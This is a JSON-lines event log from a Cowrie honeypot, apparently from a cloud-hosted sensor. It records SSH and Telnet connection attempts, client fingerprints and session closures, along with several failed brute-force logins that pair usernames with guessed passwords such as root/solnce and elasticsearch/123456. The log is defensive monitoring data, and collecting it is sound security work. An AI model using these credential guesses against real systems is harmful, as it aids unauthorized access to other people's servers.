{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:19.712098Z","src_ip":"31.40.204.166","session":"6c8841acc53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.63544178009033,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:19.837327Z","src_ip":"152.42.224.71","session":"ea0e99575682","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:20.320080Z","src_ip":"31.40.204.166","session":"6c8841acc53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:21.485705Z","src_ip":"31.40.204.166","session":"6c8841acc53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.58410453796387,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:21.834256Z","src_ip":"152.42.224.71","session":"513dc34324b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32180,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec672d4b7641","protocol":"ssh","message":"New connection: 194.59.206.2:32180 (10.17.0.5:22) [session: ec672d4b7641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:23.517241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:23.521948Z","src_ip":"194.59.206.2","session":"ec672d4b7641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:23.612445Z","src_ip":"194.59.206.2","session":"ec672d4b7641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:23.707326Z","src_ip":"194.59.206.2","session":"ec672d4b7641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.04986000061035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:25.179720Z","src_ip":"152.42.224.71","session":"23c7284ed581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.53503513336182,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:25.570561Z","src_ip":"152.42.224.71","session":"25e82a342725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56240749359131,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:27.861457Z","src_ip":"152.42.224.71","session":"b07562bc5d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.10216116905212,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:29.293869Z","src_ip":"152.42.224.71","session":"2667cadc2f5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45678,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5a6eb5219d","protocol":"telnet","message":"New connection: 152.42.224.71:45678 (10.17.0.5:23) [session: 4f5a6eb5219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:31.554348Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57750,"dst_ip":"159.203.135.109","dst_port":22,"session":"968848f90eec","protocol":"ssh","message":"New connection: 31.40.204.166:57750 (159.203.135.109:22) [session: 968848f90eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:32.182149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:32.190346Z","src_ip":"31.40.204.166","session":"968848f90eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:32.312207Z","src_ip":"31.40.204.166","session":"968848f90eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:32.908838Z","src_ip":"31.40.204.166","session":"968848f90eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.736005067825317,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:33.291754Z","src_ip":"152.42.224.71","session":"bc3335302ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:34.090348Z","src_ip":"31.40.204.166","session":"968848f90eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.72499442100525,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:35.162627Z","src_ip":"152.42.224.71","session":"4d2aa8ecd243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.79671597480774,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:37.327937Z","src_ip":"152.42.224.71","session":"70257885437f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc963b95ae8","protocol":"ssh","message":"New connection: 80.66.85.226:48144 (10.17.0.5:22) [session: 5dc963b95ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:37.961107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:37.967356Z","src_ip":"80.66.85.226","session":"5dc963b95ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:38.056517Z","src_ip":"80.66.85.226","session":"5dc963b95ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solnce","message":"login attempt [root/solnce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:38.327886Z","src_ip":"80.66.85.226","session":"5dc963b95ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:39.419767Z","src_ip":"80.66.85.226","session":"5dc963b95ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59346,"dst_ip":"10.17.0.5","dst_port":23,"session":"827ae8d303b6","protocol":"telnet","message":"New connection: 152.42.224.71:59346 (10.17.0.5:23) [session: 827ae8d303b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:39.473512Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b49ebc7e84b","protocol":"telnet","message":"New connection: 152.42.224.71:43090 (10.17.0.5:23) [session: 6b49ebc7e84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:40.312286Z"}
{"eventid":"cowrie.session.closed","duration":47.81545376777649,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:41.005396Z","src_ip":"152.42.224.71","session":"6244c0d804ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.838449478149414,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:41.505117Z","src_ip":"152.42.224.71","session":"49ce2612941a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.47828412055969,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:42.296932Z","src_ip":"152.42.224.71","session":"f2a5607e9460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.836178302764893,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:42.470672Z","src_ip":"152.42.224.71","session":"4670b88441b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50526,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e89be6b4e4","protocol":"ssh","message":"New connection: 31.40.204.166:50526 (159.203.135.109:22) [session: 15e89be6b4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:43.782912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:43.786597Z","src_ip":"31.40.204.166","session":"15e89be6b4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.447304248809814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:43.841741Z","src_ip":"152.42.224.71","session":"4e9d5df45e50","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:43.917568Z","src_ip":"31.40.204.166","session":"15e89be6b4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:44.495581Z","src_ip":"31.40.204.166","session":"15e89be6b4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:45.700477Z","src_ip":"31.40.204.166","session":"15e89be6b4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38594,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e38482c51e","protocol":"telnet","message":"New connection: 152.42.224.71:38594 (10.17.0.5:23) [session: 77e38482c51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:47.050192Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3c99590c223","protocol":"telnet","message":"New connection: 152.42.224.71:38598 (10.17.0.5:23) [session: c3c99590c223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:48.762170Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b805a213f88","protocol":"telnet","message":"New connection: 152.42.224.71:38608 (10.17.0.5:23) [session: 6b805a213f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:49.046199Z"}
{"eventid":"cowrie.session.closed","duration":36.89209198951721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:52.088752Z","src_ip":"152.42.224.71","session":"8570637df559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.60498785972595,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:52.212480Z","src_ip":"152.42.224.71","session":"60a35e579774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.519158840179443,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:53.831270Z","src_ip":"152.42.224.71","session":"6b49ebc7e84b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.274980545043945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:54.880384Z","src_ip":"152.42.224.71","session":"1f5684733f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8fa6414a55","protocol":"ssh","message":"New connection: 31.40.204.166:44146 (159.203.135.109:22) [session: 5a8fa6414a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:55.802284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:56.102789Z","src_ip":"31.40.204.166","session":"5a8fa6414a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:56.106498Z","src_ip":"31.40.204.166","session":"5a8fa6414a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:56.806993Z","src_ip":"31.40.204.166","session":"5a8fa6414a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:13:58.002908Z","src_ip":"31.40.204.166","session":"5a8fa6414a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"d222a48499cb","protocol":"ssh","message":"New connection: 147.45.197.250:49666 (10.17.0.5:22) [session: d222a48499cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:03.170533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:03.175967Z","src_ip":"147.45.197.250","session":"d222a48499cb","protocol":"ssh"}
